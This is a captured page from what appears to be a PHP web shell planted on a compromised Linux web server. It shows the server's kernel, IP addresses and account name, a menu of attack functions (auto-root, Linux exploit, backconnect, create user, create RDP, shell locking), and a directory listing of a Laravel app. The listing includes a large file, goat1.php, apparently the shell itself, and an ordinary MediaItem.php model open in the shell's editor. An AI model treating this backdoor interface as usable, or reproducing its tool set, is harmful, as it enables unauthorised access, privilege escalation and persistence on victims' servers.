Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.138
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo21.com /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
127
B
-r--r--r--
BaseAuthenticatable.php
581
B
-rw-rw-r--
BaseModel.php
545
B
-rw-rw-r--
BaseSpatiePermission.php
588
B
-rw-rw-r--
BaseSpatieRole.php
564
B
-rw-rw-r--
Category.php
499
B
-rw-rw-r--
Client.php
637
B
-rw-rw-r--
CompanyEmailTemplateSetting.ph...
944
B
-rw-rw-r--
Contact.php
470
B
-rw-rw-r--
ContactReply.php
683
B
-rw-rw-r--
Contract.php
1.03
KB
-rw-rw-r--
ContractType.php
381
B
-rw-rw-r--
Coupon.php
793
B
-rw-rw-r--
Currency.php
304
B
-rw-rw-r--
EmailNotificationSetting.php
392
B
-rw-rw-r--
EmailTemplate.php
557
B
-rw-rw-r--
EmailTemplateCategory.php
504
B
-rw-rw-r--
EmailTemplateLang.php
405
B
-rw-rw-r--
ExpenseCategory.php
592
B
-rw-rw-r--
Invoice.php
1.71
KB
-rw-rw-r--
InvoiceItem.php
978
B
-rw-rw-r--
InvoicePayment.php
639
B
-rw-rw-r--
Item.php
621
B
-rw-rw-r--
LandingPageCustomPage.php
1.18
KB
-rw-rw-r--
LandingPageSetting.php
12.76
KB
-rw-rw-r--
LoginHistory.php
443
B
-rw-rw-r--
MediaItem.php
2.97
KB
-rw-rw-r--
Newsletter.php
380
B
-rw-rw-r--
NotificationTemplate.php
1.22
KB
-rw-rw-r--
NotificationTemplateLang.php
547
B
-rw-rw-r--
PaymentSetting.php
5.42
KB
-rw-rw-r--
PayoutRequest.php
452
B
-rw-rw-r--
Permission.php
231
B
-rw-rw-r--
Plan.php
1.45
KB
-rw-rw-r--
PlanOrder.php
3.31
KB
-rw-rw-r--
PlanRequest.php
818
B
-rw-rw-r--
Project.php
2.37
KB
-rw-rw-r--
ProjectExpense.php
784
B
-rw-rw-r--
ProjectFile.php
539
B
-rw-rw-r--
ProjectMilestone.php
659
B
-rw-rw-r--
ProjectNote.php
479
B
-rw-rw-r--
Referral.php
725
B
-rw-rw-r--
ReferralSetting.php
643
B
-rw-rw-r--
Role.php
667
B
-rw-rw-r--
Setting.php
560
B
-rw-rw-r--
SlackSetting.php
431
B
-rw-rw-r--
Task.php
1.61
KB
-rw-rw-r--
TaskChecklist.php
1.29
KB
-rw-rw-r--
TaskFile.php
1.8
KB
-rw-rw-r--
TaskStage.php
674
B
-rw-rw-r--
TaxSetting.php
378
B
-rw-rw-r--
TelegramSetting.php
451
B
-rw-rw-r--
TimeTracker.php
1.79
KB
-rw-rw-r--
Timesheet.php
1.48
KB
-rw-rw-r--
User.php
11.29
KB
-rw-rw-r--
UserEmailTemplate.php
462
B
-rw-rw-r--
UserNotificationTemplate.php
1.96
KB
-rw-rw-r--
Webhook.php
434
B
-rw-rw-r--
ZoomMeeting.php
2.02
KB
-rw-rw-r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MediaItem.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; use Spatie\MediaLibrary\HasMedia; use Spatie\MediaLibrary\InteractsWithMedia; use Spatie\MediaLibrary\MediaCollections\Models\Media; use App\Services\StorageConfigService; class MediaItem extends Model implements HasMedia { use HasFactory, InteractsWithMedia; protected $fillable = ['name', 'description']; public function registerMediaCollections(): void { // Ensure dynamic storage disks are configured try { \App\Services\DynamicStorageService::configureDynamicDisks(); } catch (\Exception $e) { // Silently fail if database is not ready } if (isSaas()) { $superadmin = User::where('type', 'superadmin')->first(); } else { $superadmin = User::where('type', 'company')->first(); } $config = ['allowed_file_types' => 'jpg,jpeg,png,webp,gif', 'max_file_size_kb' => 2048]; if ($superadmin) { // Clear cache to get fresh settings \Cache::forget('active_storage_config_' . $superadmin->id); $settings = \DB::table('settings') ->where('user_id', $superadmin->id) ->whereIn('key', ['storage_file_types', 'storage_max_upload_size']) ->pluck('value', 'key') ->toArray(); $config = [ 'allowed_file_types' => $settings['storage_file_types'] ?? 'jpg,jpeg,png,webp,gif', 'max_file_size_kb' => (int)($settings['storage_max_upload_size'] ?? 2048) ]; } // Normalize allowed file types to handle case sensitivity $allowedExtensions = array_filter(array_map('trim', explode(',', strtolower($config['allowed_file_types'])))); $maxSizeKB = $config['max_file_size_kb']; $maxSizeBytes = $maxSizeKB * 1024; $this->addMediaCollection('images') ->acceptsFile(function ($file) use ($allowedExtensions, $maxSizeBytes) { // Check file extension $fileName = $file->name ?? $file->getFilename(); $extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); if (!in_array($extension, $allowedExtensions, true)) { return false; } // Check file size $fileSize = $file->size ?? filesize($file->getPathname()); if ($fileSize > $maxSizeBytes) { return false; } return true; }) ->useDisk(StorageConfigService::getActiveDisk()); } public function registerMediaConversions(?Media $media = null): void { $this->addMediaConversion('thumb') ->width(300) ->height(300) ->sharpen(10) ->performOnCollections('images') ->nonQueued(); } }
Close